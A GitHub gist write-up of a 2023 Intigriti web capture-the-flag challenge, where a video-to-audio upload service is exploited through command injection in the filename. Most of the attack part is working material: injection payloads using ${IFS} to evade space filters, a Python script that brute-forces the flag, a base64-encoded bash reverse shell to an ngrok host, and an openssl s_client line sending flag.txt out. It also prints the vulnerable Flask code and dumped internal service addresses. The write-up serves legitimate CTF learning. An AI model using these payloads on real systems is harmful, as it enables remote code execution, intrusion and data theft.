Skip to content

Instantly share code, notes, and snippets.

@Siss3l
Last active July 26, 2023 00:02
Show Gist options
  • Save Siss3l/96f34304b925249acde8af4002716038 to your computer and use it in GitHub Desktop.
Save Siss3l/96f34304b925249acde8af4002716038 to your computer and use it in GitHub Desktop.
Intigriti's July 2023 Web challenge thanks to @kavishkagihan

Intigriti July Challenge

  • Category: Web
  • Impact: Medium
  • Solves: 35

Challenge

Description

Find the flag on the web server.

The solution:

  • The flag format is INTIGRITI{.*}.
  • Should retrieve the flag from the web server.
  • Should NOT use another challenge on the intigriti.io domain.
  • The challenge runs on a single instance so please be considerate to other players.

Overview

As we enter the middle of this month, we have the opportunity to look at the web challenge which allows us to upload a video file in MP4 format and extract the audio directly.

The aim here is to retrieve the contents of a supposed /flag.txt file on the server side.

Thenceforward, we launch our Burp Suite penetration testing toolkit to begin our research with the Repeater option on the visible upload page:

<!DOCTYPE html>
<html>
<head>
    <title>Video Audio Extractor - Upload</title>
    <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
    <style>
        body {
            background-color: #f8f9fa;
        }
        .container {
            max-width: 600px;
            margin-top: 50px;
        }
        .card {
            border: none;
            box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
            background-color: #fff;
        }
        .card-header {
            background-color: #fff;
            color: #000;
            box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
            text-align: center;
            font-size: 24px;
            padding: 20px;
        }
        .custom-file-label::after {
            border-color: #a78e8e28;
        }
        .btn-primary {
            background-color:#0000;
            border-color: #0000;
            color: #000;
        }
        .btn-primary:hover {
            background-color:  #000;
            border-color: #0000;
        }
    </style>
</head>
<body>
    <div class="container">
        <div class="card">
            <div class="card-header">
                <h2>Upload a Video File (MP4)</h2>
            </div>
            <div class="card-body">
                <form action="/upload" method="POST" enctype="multipart/form-data">
                    <div class="form-group">
                        <label for="video">Select a video file:</label>
                        <div class="custom-file">
                            <input type="file" class="custom-file-input" id="video" name="video" accept="video/mp4">
                            <label class="custom-file-label" for="video">Choose file</label>
                        </div>
                    </div>
                    <div class="text-center">
                        <button type="submit" class="btn btn-primary">Upload and Extract Audio</button>
                    </div>
                </form>
            </div>
        </div>
    </div>
</body>
</html>

We don't spend too much time on this classic code so we intercept the video file uploading:

POST /upload HTTP/2
Host: challenge-0723.intigriti.io
Content-Length: Redacted
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="video"; filename="test.mp4"
Content-Type: video/mp4


------WebKitFormBoundary--\r\n

The POST method sends data to the server.

The WebKitFormBoundary is a boundary marker that separates each item in a multipart message.

The Content-Type header indicates the type of the body of the HTTP request.

The Content-Disposition response header is a header indicating if the content is expected to be displayed inline in the browser or as an attachment.

The filename parameter is followed by a string containing the original name of the file transmitted.

Upload

First-come, first-served

There were an unintentional misconfigurations that gave us the b'/bin/sh: 1: ffmpeg: not found\n' error message.

This may point us in the direction of a rabbit hole about vulnerabilities in the FFmpeg processing multimedia tool!

Snyk Report

Here is what we could see before the second anonymizing patch by Intigriti's team:

ffmpeg version 4.1.11-0+deb10u1 Copyright (c) 2000-2023 the FFmpeg developers 
built with gcc 8 (Debian 8.3.0-6)
configuration: --prefix=/usr --extra-version=0+deb10u1 --toolchain=hardened --libdir=/usr/lib/x86_64-linux-gnu --incdir=/usr/include/x86_64-linux-gnu --arch=amd64 --enable-gpl --disable-stripping --enable-avresample --disable-filter=resample --enable-avisynth --enable-gnutls --enable-ladspa --enable-libaom --enable-libass --enable-libbluray --enable-libbs2b --enable-libcaca --enable-libcdio --enable-libcodec2 --enable-libflite --enable-libfontconfig --enable-libfreetype --enable-libfribidi --enable-libgme --enable-libgsm --enable-libjack --enable-libmp3lame --enable-libmysofa --enable-libopenjpeg --enable-libopenmpt --enable-libopus --enable-libpulse --enable-librsvg --enable-librubberband --enable-libshine --enable-libsnappy --enable-libsoxr --enable-libspeex --enable-libssh --enable-libtheora --enable-libtwolame --enable-libvidstab --enable-libvorbis --enable-libvpx --enable-libwavpack --enable-libwebp --enable-libx265 --enable-libxml2 --enable-libxvid --enable-libzmq --enable-libzvbi --enable-lv2 --enable-omx --enable-openal --enable-opengl --enable-sdl2 --enable-libdc1394 --enable-libdrm --enable-libiec61883 --enable-chromaprint --enable-frei0r --enable-libx264 --enable-shared
libavutil       56. 22.100 / 56. 22.100
libavcodec      58. 35.100 / 58. 35.100
libavformat     58. 20.100 / 58. 20.100
libavdevice     58. 5.100 / 58. 5.100
libavfilter     7. 40.101 / 7. 40.101
libavresample   4. 0. 0 / 4. 0. 0
libswscale      5. 3.100 / 5. 3.100
libswresample   3. 3.100 / 3. 3.100
libpostproc     55. 3.100 / 55. 3.100
[mov,mp4,m4a,3gp,3g2,mj2 @ 0x5650260e9940] Format mov,mp4,m4a,3gp,3g2,mj2 detected only with low score of 1, misdetection possible!
[mov,mp4,m4a,3gp,3g2,mj2 @ 0x5650260e9940] moov atom not found
misc/test.mp4: Invalid data found when processing input

After the patch, hereunder the pseudo-error was:

HTTP/2 500 Internal Server Error
Date: Redacted
Content-Type: application/json
Content-Length: 90

{
    "error":   "That wasn't supposed to happen",
    "message": "Hey, stop trying to break things!!"
}

Bug

The Internal Server Error is a server error response indicating that the server encountered an unexpected condition that prevented it from fulfilling the request.

Primary Solution

Digging around online, we can see a HackerOne report that can quickly lead us down a wrong path.

Given the filters in place and errors on playlist segments, we will try to refocus on more global and common vulnerabilities.

Furthermore, this other Huntr report tells us more about command injection case:

-   Download the code of the project
-   Put it into a webserver root folder (I used Apache with /var/www/html/ffmpeg_web_gui)
-   Open http://localtest.me/ffmpeg_web_gui/upload-and-convert.php
-   Upload a valid mp4 file (I used these: https://file-examples-com.github.io/uploads/2017/04/file_example_MP4_480_1_5MG.mp4)
-   Intercept the request with Burp and change the filename into test;touch HACKED;#

------WebKitFormBoundaryMFH7A2ecHBQQMhZu
Content-Disposition: form-data; name="file"; filename="test;touch HACKED;#.mp4"
Content-Type: video/mp4
------WebKitFormBoundaryMFH7A2ecHBQQMhZu--

The command injection is an attack in which the goal is execution of arbitrary commands on the host operating system via a vulnerable application.

We head for the filename parameter and see that we have some convincing results:

POST /upload HTTP/2
Host: challenge-0723.intigriti.io
Content-Length: 150
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="video"; filename=";ls;#.mp4"
Content-Type: video/mp4

------WebKitFormBoundary--

And gives us gobbledygook audio data (proving that ls command exists):

HTTP/2 200 OK
Content-Type: audio/x-wav
Content-Length: 122100
Content-Disposition: attachment; filename=extracted_audio.wav
Last-Modified: Redacted
Cache-Control: no-cache
Etag: "Redacted"

RIFFzÛx01WAVEfmt...qfactQhLISTINFOISFTLavf58.20.100data...4LAME3.100UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU...

Lol

Now that we have what comes close to the Boolean algebra as the truth values true and false, i.e., if any of our testing command runs regardless of whether it is terminated or not then we will receive the extracted_audio data (as true value) but if our command does not work/exist then we get an error message.

Always with Burp and more tweaking:

POST /upload HTTP/2
Host: challenge-0723.intigriti.io
Content-Length: 260
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="video"; filename=";python3${IFS}-c${IFS}\"assert(open(chr(47)+'flag.txt').read().startswith('I'))\";#.mp4"
Content-Type: video/mp4

------WebKitFormBoundary--

We do have the extracted_audio data so we are bringing out our good old Python programming language to get the flag.

By fiddling with the filename, we see that some commands exist (as sleep, python3) on the server and thus can be used to extract the flag gradually or otherwise.

The assert (in the code below) is used to generate an AssertionError message if the contents of the flag.txt read does not contain or start with printable ASCII character(s).

Automation

What is left to do is to reproduce the Burp POST request to slowly but surely recover the coveted golden ticket:

import requests, string, sys
flag, url = "", "https://challenge-0723.intigriti.io/upload"

def check(i:str):
    global flag
    k = flag + i
    data = '\n------WebKitFormBoundary\nContent-Disposition: form-data; name="video"; filename=";python3${IFS}-c${IFS}\\"assert(open(chr(47)+\'flag.txt\').read().startswith(\'' + str(k) + '\'))\\";#.mp4"\nContent-Type: video/mp4\n\n------WebKitFormBoundary--\n'
    req  = requests.post(url, data=data, headers={"Content-Type":"multipart/form-data;boundary=----WebKitFormBoundary"})
    if req.status_code == 200 or b"RIFF" in req.content:  # not in b"Extractor - Error"
        flag += i; print(len(req.content), flag); main()

def main():
    if flag.endswith("}"): print(flag); sys.exit(0)
    [check(_) for _ in string.printable]

main()

We also notice that there is a INITGRITI spelling mistake in the name, perhaps deliberately here to annoy us with the pattern format that was under solution conditions.

Finally we have the flag: INTIGRITI{c0mm4nd_1nj3c710n_4nd_0p3n55l_5h3ll}.

Other Solution

Rereading the flag, we might think we missed something about the reverse shell who refers to the act of redirecting the input/output of a shell to a service that can be remotely accessed.

No

Some test (as many other in the history case) shows that we have gladly access to the openssl command which could be used for the reverse shell indeed.

The code ${IFS} is used to bypass the space character restriction and $(echo${IFS}.|tr${IFS}'!-0'${IFS}'\"-1') add a slash if needed.

If you don't have Collaborator or a VPS at hand, you can always use Ngrok to correctly expose your local server to the Internet and the command instantiated.

So on the client side:

nc -lvp 1111 or ncat -v --ssl -l -p 1111

Don't forget to set the host xx.tcp.xx.ngrok.io and port (on the Ngrok console) in the POST request.

./ngrok tcp 1111

echo -ne '/bin/bash -l > /dev/tcp/1.tcp.us.ngrok.io:11111 0<&1 2>&1'|base64
echo${IFS}L2Jpbi9iYXNoIC1sID4gL2Rldi90Y3AvMS50Y3AudXMubmdyb2suaW86MTExMTEgMDwmMSAyPiYx|base64${IFS}-d|bash

And on the server side:

POST /upload HTTP/1.1
Host: challenge-0723.intigriti.io
Content-Length: 240
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="video"; filename=";cat${IFS}$(echo${IFS}.|tr${IFS}'!-0'${IFS}'\"-1')flag.txt|openssl${IFS}s_client${IFS}-connect${IFS}1.tcp.us.ngrok.io:11111;#.mp4"

------WebKitFormBoundary--

Here is the BLAKE2b-512 hash of the flag as a verification:

bdd68d95a7b63bfcf5a467b390e73634b3e716cb7aadfa0f74a6db1f171773a234d7a6f2751b43817d9ebc03ce1880d51846ebdc648e33060e50de221b6ba592

Bonus

In the end, we didn't need to investigate more on potential UAF, blind SSRF, FFmpeg on Debian CVE, Honeypot, RCE, SSTI and so on.

However, we can find out further details about the server (on a Docker container) below:

from flask import Flask, request, render_template, send_file  # flask==2.2.3
from helpers import *
app = Flask(__name__)  # in /app/app.py
@app.route('/')
def index():
    return render_template('index.html')

@app.route('/challenge')
def challenge():
    return render_template('challenge.html')

@app.route('/upload', methods=['GET', 'POST'])
def upload():
    if request.method == 'POST':
        file = request.files['video']
        filename = file.filename
        if file:
            if validate_filename(filename):
                valid_filename = filename
            else:
                return render_template('error.html', error='Invalid filename, please make sure it is a MP4 file and have no white spaces in the filename')
            video_path = f'misc/{valid_filename}'
            file.save(video_path)
            audio_path = 'misc/extracted_audio.wav'
            success, error = extract_audio(video_path, audio_path)
            if success:
                return send_file(audio_path, as_attachment=True)
            else:
                return render_template('error.html', error=e)
    return render_template('upload.html')
if __name__ == '__main__':
    app.run(host='0.0.0.0', port=1337, debug=False)
import subprocess, re
def validate_filename(filename):  # in /app/helpers.py
    try:
        pattern = r"^[^\s]+\.(mp4)$"
        if re.match(pattern, filename):
            return True
        else:
            return False
    except Exception as e:
        return False

def extract_audio(video_path, audio_path):
    try:
        command = f"""ffmpeg -i {video_path} -vn -acodec libmp3lame -ab 192k -ar 44100 -y -ac 2 {audio_path}"""
        r = subprocess.run(command, shell=['/bin/bash'], capture_output=True)
        if r.returncode != 0:
            return False, r.stderr
        else:
            return True, ''
    except Exception as e:
        return False, e
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
...
KUBERNETES_SERVICE_PORT_HTTPS=443
CHALLENGE_1222_DB_PORT=tcp://10.15.0.87:5432
CHALLENGE_0722_PORT_80_TCP=tcp://10.15.0.240:80
CHALLENGE_0623_SERVICE_HOST=10.15.0.143
CHALLENGE_0122_PORT_80_TCP_ADDR=10.15.0.155
CHALLENGE_1122_STAGING_SERVICE_HOST=10.15.0.180
CHALLENGE_0322_SERVICE_HOST=10.15.0.170
STAGING_PORT_6000_TCP_ADDR=10.15.0.59
STAGING_PORT=tcp://10.15.0.59:6000
KUBERNETES_SERVICE_PORT=443
...
PYTHON_VERSION=3.9.17
PWD=/var
CHALLENGE_0122_CHALLENGE_SERVICE_PORT_CHALLENGE_0122_CHALLENGE=9000
HOME=/home/svc
LANG=C.UTF-8
KUBERNETES_PORT_443_TCP=tcp://10.15.0.1:443
STAGING_SERVICE_PORT=6000
WERKZEUG_SERVER_FD=3
SHLVL=2
PYTHON_PIP_VERSION=23.0.1
KUBERNETES_PORT_443_TCP_ADDR=10.15.0.1
PYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/0d8570dc44796f4369b652222cf176b3db6ac70e/public/get-pip.py
PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
CHALLENGE_0623_SERVICE_PORT=80
_=/usr/bin/env
OLDPWD=/var/lib
...
Architecture:        x86_64
CPU op-mode(s):      32-bit, 64-bit
Byte Order:          Little Endian
Address sizes:       46 bits physical, 48 bits virtual
CPU(s):              2
On-line CPU(s) list: 0,1
Thread(s) per core:  2
Core(s) per socket:  1
Socket(s):           1
NUMA node(s):        1
Vendor ID:           GenuineIntel
CPU family:          6
Model:               79
Model name:          Intel(R) Xeon(R) CPU @ 2.20GHz
Stepping:            0
CPU MHz:             2199.998
BogoMIPS:            4399.99
Hypervisor vendor:   KVM
Virtualization type: full
L1d cache:           32K
L1i cache:           32K
L2 cache:            256K
L3 cache:            56320K
NUMA node0 CPU(s):   0,1
...
drwxr-xr-x   1 0   0 4096 Jul 17 17:31 .
drwxr-xr-x   1 0   0 4096 Jul 17 17:31 ..
drwxr-x---   1 0 999 4096 Jul 17 17:30 app
drwxr-xr-x   1 0   0 4096 Jun 13 16:08 bin
drwxr-xr-x   2 0   0 4096 Sep  3  2022 boot
drwxr-xr-x   5 0   0  360 Jul 17 17:31 dev
drwxr-xr-x   1 0   0 4096 Jul 17 17:31 etc
-rw-r--r--   1 0   0   46 Jul 17 17:29 flag.txt
drwxr-xr-x   2 0   0 4096 Sep  3  2022 home
drwxr-xr-x   1 0   0 4096 Jul 17 17:30 lib
drwxr-xr-x   2 0   0 4096 Jun 12 00:00 lib64
drwxr-xr-x   2 0   0 4096 Jun 12 00:00 media
drwxr-xr-x   2 0   0 4096 Jun 12 00:00 mnt
drwxr-xr-x   2 0   0 4096 Jun 12 00:00 opt
dr-xr-xr-x 240 0   0    0 Jul 17 17:31 proc
drwx------   1 0   0 4096 Jul 17 17:30 root
drwxr-xr-x   1 0   0 4096 Jul 17 17:31 run
drwxr-xr-x   2 0   0 4096 Jun 12 00:00 sbin
drwxr-xr-x   2 0   0 4096 Jun 12 00:00 srv
dr-xr-xr-x  13 0   0    0 Jul 17 17:31 sys
drwxrwxrwt   1 0   0 4096 Jul 18 01:19 tmp
drwxr-xr-x   1 0   0 4096 Jun 12 00:00 usr
drwxr-xr-x   1 0   0 4096 Jun 12 00:00 var
...
Linux version 5.15.0-1028-gke (buildd@lcy02-amd64-088) (gcc (Ubuntu 11.3.0-1ubuntu1~22.04) 11.3.0, GNU ld (GNU Binutils for Ubuntu) 2.38) #33-Ubuntu SMP Mon Feb 20 01:54:13 UTC 2023
PRETTY_NAME="Debian GNU/Linux 10 (buster)"
NAME="Debian GNU/Linux"
VERSION_ID="10"
VERSION="10 (buster)"
VERSION_CODENAME=buster
ID=debian

Defense

Looking into best practices to avoid code injections and checking any weird input/output connections of the server.

Appendix

It was nice to see the patches flying despite the complexity of managing this kind of challenges, which is always a good way to learn.

@Siss3l
Copy link
Author

Siss3l commented Jul 26, 2023

Good job!

Thanks a lot!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment